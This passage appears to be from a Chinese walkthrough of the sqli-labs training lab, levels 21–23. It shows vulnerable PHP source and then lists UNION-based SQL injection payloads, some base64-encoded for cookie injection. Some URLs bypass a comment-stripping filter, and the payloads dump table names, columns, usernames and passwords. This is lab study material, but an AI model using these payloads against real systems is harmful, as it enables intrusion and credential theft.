echo"<br></font>"; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo'<font color= "pink" font size="5">'; echo'Your Login name:'. $row['username']; echo"<br>"; echo'<font color= "grey" font size="5">'; echo'Your Password:' .$row['password']; echo"</font></b>"; echo"<br>"; echo'Your ID:' .$row['id']; } else { echo"<center>"; echo'<br><br><br>'; echo'<img src="../images/slap1.jpg" />'; echo"<br><br><b>"; //echo '<img src="../images/Less-20.jpg" />'; } echo'<center>'; echo'<form action="" method="post">'; echo'<input type="submit" name="submit" value="Delete Your Cookie!" />'; echo'</form>'; echo'</center>';
payload:-admin') union select 1,user(),database()# base64:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsdXNlcigpLGRhdGFiYXNlKCkj
注:union 前面的值要为空,第四步忘记改为空值了
暴表
1 2
payload:-admin') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'# base64:LWFkbWluJykgIFVOSU9OIFNFTEVDVCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLlRBQkxFUyBXSEVSRSBUQUJMRV9TQ0hFTUE9J3NlY3VyaXR5JyM=
暴字段
1 2
payload:-admin') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'# base64:LWFkbWluJykgIFVOSU9OIFNFTEVDVCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5DT0xVTU5TIFdIRVJFIFRBQkxFX1NDSEVNQT0nc2VjdXJpdHknIEFORCBUQUJMRV9OQU1FPSd1c2Vycycj
暴数据
1 2
payload:-admin') UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users# base64:LWFkbWluJykgIFVOSU9OIFNFTEVDVCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBGUk9NIHNlY3VyaXR5LnVzZXJzIw==
Less22
这一关是 HTTP 头 cookies 注入,本关注入的前提是必须要知道用户名和密码。
暴库
1 2
payload:-admin" union select 1,user(),database()# base64:LWFkbWluIiB1bmlvbiBzZWxlY3QgMSx1c2VyKCksZGF0YWJhc2UoKSM=
暴表
1 2
payload:-admin" UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'# base64:LWFkbWluIiAgVU5JT04gU0VMRUNUIDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuVEFCTEVTIFdIRVJFIFRBQkxFX1NDSEVNQT0nc2VjdXJpdHknIw==
暴字段
1 2
payload:-admin" UNION SELECT 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'# base64:LWFkbWluIiAgVU5JT04gU0VMRUNUIDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLkNPTFVNTlMgV0hFUkUgVEFCTEVfU0NIRU1BPSdzZWN1cml0eScgQU5EIFRBQkxFX05BTUU9J3VzZXJzJyM=
暴数据
1 2
payload:-admin" UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users# base64:LWFkbWluIiAgVU5JT04gU0VMRUNUIDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIEZST00gc2VjdXJpdHkudXNlcnMj
Less23
GET型基于错误的去除注释的注入
查看源码
1 2 3 4 5 6
//filter the comments out so as to comments should not work $reg = "/#/"; //匹配 “#” 字符 $reg1 = "/--/"; //匹配 “--” 字符 $replace = ""; //空值 $id = preg_replace($reg, $replace, $id); //将变量 “$id” 中的 “#” 字符,替换为空值 $id = preg_replace($reg1, $replace, $id); //将变量 “$id” 中的 “--” 字符,替换为空值
http://192.168.150.128/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'),3'
爆表中的字段
1
http://192.168.150.128/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),3'
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username) FROM security.users),3'
1
http://192.168.150.128/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(password) FROM security.users),3'